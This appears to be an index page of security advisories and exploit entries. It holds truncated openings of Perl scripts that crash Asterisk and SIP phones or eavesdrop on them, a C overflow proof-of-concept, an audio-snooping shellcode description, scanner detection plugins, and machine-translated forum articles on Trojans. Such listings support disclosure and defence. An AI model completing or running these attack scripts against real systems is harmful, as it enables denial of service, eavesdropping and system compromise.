rpc.nisd overflow

The remote RPC service 100300 nisd is vulnerable to a buffer overflow which allows any user to obtain a root shell on this host. SPDX-FileCopyrightText: 2008 Renaud Deraison Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

Asterisk 1.2.x - SIP channel driver / in pedantic mode Remote Crash

!/usr/bin/perl -w asterisk AST-2008-008 by [email protected] AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode use Getopt::Std; use IO::Socket; use strict; my %args; getopts"h:p:", %args; if !$argsh || !$argsp usage; my $sock = IO::Socket::INET-new...

Cisco Phone 7940 - Remote Denial of Service

!/usr/bin/perl Vulnerabily discovered using KiF Kiph Authors: Humberto J. Abdelnur Ph.D Student Radu State Ph.D Olivier Festor Ph.D Madynes Team, LORIA - INRIA Lorraine http://madynes.loria.fr use IO::Socket::INET; use String::Random; die "Usage $0 " unless $ARGV3; $targetUser = $ARGV1; $targetIP...

Exploits DOS vulnerability on Thomson SIP phone ST 2030 using an empty packet

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst port username" unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = ""; $socket-send$msg;...

Exploits Remote eavesdropping with SIP Phone GXV-3000

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst port username src port username" unless $ARGV5; $socket=new IO::Socket::INET-new Proto='udp', LocalPort = $ARGV4, PeerPort=$ARGV1, PeerAddr=$ARGV0; $sdp= "v=0\r o=username 0 0 IN IP4 $ARGV3\r s=The Funky...

Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl perl asterisk-Invite.pl 192.168.1.104 5060 userX 192.168.1.2 5060 userY use IO::Socket::INET; die "Usage $0 dst dport dusername src sport susername" unless $ARGV5; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0;...

Teredo Server Detection

The remote host is running a Teredo server. Teredo is a protocol for tunneling IPv6 over UDP, and is used to give nodes the ability to obtain IPv6 connectivity behind IPv4 network address translation NAT devices. A Teredo server is a node that is connected to both IPv4 and IPv6 networks. C Tenabl...

Use a SNIFFER to monitor the QQ number and obtain the IP address of the method-vulnerability warning-the black bar safety net

Yesterday when the Internet, found this forum. I was in the study how to use MRTG to monitor Huawei router and switch CPU utilization, inadvertently found this forum. This problem has not yet found a solution. Today sleep early, middle of the night is up, sigh of relief to see the Forum a lot of...

The Trojan client and server covert communication analysis-vulnerability warning-the black bar safety net

Modern Trojan horse to achieve is to establish in a reliable, but also easy to be the host found the communications program on the, this article is about the various programmes implemented method, the reliability, the safety made some theoretical discussion. Full understanding of Trojan horse...

Rookie Edition Expliot the guidelines for the preparation of the PNP the overflow vulnerability analysis+exploit-vulnerability warning-the black bar safety net

A month ago, and chat with friends, talked about now on the network, worms, viruses are increasingly rampant, the year before the“shock wave”, last year's“shock wave”, this year also don't know and out of what? The voice just fell, the one is named Zotob worm has been in a 8 on 1 to 5 November...

linux/x86 snoop /dev/dsp shellcode 172 bytes

linux/x86 snoop /dev/dsp shellcode 172 bytes. Shellcode exploit for linx86 platform / Placed the listener here http://www.milw0rm.com/down.php?id=1293 /str0ke / / hey folks, this is snoopshell, short and simply it snoops on /dev/dsp and after attempting to lower the audio quality will stream any...

Detect talkd server port and protocol version

The remote host is running a 'talkd' daemon. talkd is the server that notifies a user that someone else wants to initiate a conversation with him. OpenVAS Vulnerability Test $Id: ntalkdetect.nasl 8023 2017-12-07 08:36:26Z teissa $ Description: Detect talkd server port and protocol version Authors...

Detect STUN Server

A VPN server is listening on the remote port. Description : The remote host is running a STUN Simple Traversal of User Datagram Protocol - RFC 3489 server. Simple Traversal of User Datagram Protocol UDP Through Network Address Translators NATs STUN is a lightweight protocol that allows applicatio...

[Full-Disclosure] Players overflow in Serious engine UDP (was Alpha Black Zero, 29 Sep 2004)

Luigi Auriemma Application: Serious engine http://www.seriousengine.com Games: all the games based on this engine and using the UDP protocol: - Alpha Black Zero - Nitro family - Serious Sam Second Encounter 1.07 Platforms: Windows, Linux and Mac Bug: crash Exploitation: remote, versus server Date...

Kerberos Version 5 Server Detection - UDP

Binary data 1162.prm...

Chargen Server Detection (UDP)

Binary data 1905.prm...

Policy - Xlink Online Gaming Client Detection (UDP) (deprecated)

Binary data 2503.prm...

Red Faction 1.20 - Server Reply Remote Buffer Overflow (PoC)

/ by Luigi Auriemma UNIX & WIN VERSION / include include include ifdef WIN32 include include "winerr.h" define close closesocket else include include include include include endif define VER "0.1" define BUFFSZ 2048 define PORT 7755 define RETADDR "\xde\xc0\xad\xde" // 0xdeadc0de void stderrvoid;...

Master Servers: yet another DDoS...

Yeah, seems that DDoS attacks will never die and in these months seems that every game can be used for launch DDoS attacks... This time I want to show a problem that, for me, is very obvious but I have not found any reference to it on Internet. The following is my advisory about the problem:...

GameSpy 3D 2.62 - Packet Amplification Denial of Service

GameSpy 3D 2.62 - Packet Amplification Denial of Service // source: https://www.securityfocus.com/bid/6636/info A vulnerability has been reported for several games that support the use of the GameSpy network. A game client typically queries a game server using the UDP protocol. It has been report...